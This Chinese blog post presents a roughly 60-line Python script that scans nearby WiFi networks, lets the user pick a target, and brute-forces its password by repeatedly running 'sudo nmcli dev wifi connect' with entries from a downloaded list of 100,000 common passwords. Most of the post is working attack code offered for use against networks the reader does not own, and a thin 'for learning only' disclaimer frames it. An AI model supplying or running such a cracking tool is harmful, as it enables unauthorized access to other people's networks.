解锁WiFi密码，我只用了60行代码

iOS Magician

发布于 2023-03-22 15:01:41

6970

发布于 2023-03-22 15:01:41

文章被收录于专栏：iOS打包，上架知识大全iOS打包，上架知识大全

WiFi现在已经遍布我们生活方方面面，如今，如论到工作单位，还是租住的房子，或者一家餐厅，随处都可以连上WiFi。

因此，我们对WiFi密码的需求也没有之前那么迫切了。

如何破解WiFi密码？

本文，将会通过Python教大家如何实现，这里纯粹是为了学习用途。

WiFi列表首先，我们需要获取附近的WiFi列表。下面，就来写一个函数来获取附近的WiFi列表，函数命名为display_targets： def display_targets(networks, security_type): print("Select a target: \n") rows, columns = os.popen('stty size', 'r').read().split() for i in range(len(networks)): width = len(str(str(i+1)+". "+networks[i]+security_type[i]))+2 spacer = " " if (int(columns) >= 100): calc = int((int(columns)-int(width))*0.75) else: calc = int(columns)-int(width) for index in range(calc): spacer += "." if index == (calc-1): spacer += " " print(str(i+1)+". "+networks[i]+spacer+security_type[i]) 这里，我们会用到ssid工具包，用来获取附近的WiFi列表，存入到参数networks。

选择WiFi 获取WiFi列表之后，下一步要做的就是选择我们想要连接的WiFi， def prompt_for_target_choice(max): whileTrue: try: selected = int(input("\nEnter number of target: ")) if(selected >= 1and selected <= max): return selected - 1 except Exception as e: ignore = e print("Invalid choice: Please pick a number between 1 and " + str(max)) 这里很简单，就是一些通用的Python功能。
暴力破解

目前已经获取并且选择了想要连接的WiFi，那么如何获取到它的密码呢？

这里要用到一种比较常见的方式：暴力破解。

这里，要用到Github上一个项目，它收集了最常用的10万个WiFi密码。我们就用着10万个密码暴力解锁WiFi即可。

def brute_force(selected_network, passwords, args):

for password in passwords:

# necessary due to NetworkManager restart after unsuccessful attempt at login

password = password.strip()

# when when obtain password from url we need the decode utf-8 however we doesnt when reading from file

if isinstance(password, str):

decoded_line = password

else:

decoded_line = password.decode("utf-8")

if args.verbose isTrue:

print(bcolors.HEADER+"** TESTING **: with password '" +

decoded_line+"'"+bcolors.ENDC)

if (len(decoded_line) >= 8):

time.sleep(3)

creds = os.popen("sudo nmcli dev wifi connect " +

selected_network+" password "+decoded_line).read()

# print(creds)

if ("Error:"in creds.strip()):

if args.verbose isTrue:

print(bcolors.FAIL+"** TESTING **: password '" +

decoded_line+"' failed."+bcolors.ENDC)

else:

sys.exit(bcolors.OKGREEN+"** KEY FOUND! **: password '" +

decoded_line+"' succeeded."+bcolors.ENDC)

else:

if args.verbose isTrue:

print(bcolors.OKCYAN+"** TESTING **: password '" +

decoded_line+"' too short, passing."+bcolors.ENDC)

print(bcolors.FAIL+"** RESULTS **: All passwords failed :("+bcolors.ENDC)

核心功能3个函数就完成了，只用了60行Python代码！

下面就把它们串联在一起：

def main():

require_root()

args = argument_parser()

# The user chose to supplied their own url

if args.url isnotNone:

passwords = fetch_password_from_url(args.url)

# user elect to read passwords form a file

elif args.file isnotNone:

file = open(args.file, "r")

passwords = file.readlines()

ifnot passwords:

print("Password file cannot be empty!")

exit(0)

file.close()

else:

# fallback to the default list as the user didnt supplied a password list

default_url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt"

passwords = fetch_password_from_url(default_url)

# grabbing the list of the network ssids

func_call = start(1)

networks = func_call[0]

security_type = func_call[1]

ifnot networks:

print("No networks found!")

sys.exit(-1)

display_targets(networks, security_type)

max = len(networks)

pick = prompt_for_target_choice(max)

target = networks[pick]

print("\nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [--verbose] flag at start.")

brute_force(target, passwords, args)

执行函数，就会在命令行下显示附近的WiFi列表，选择之后就开始逐个尝试密码。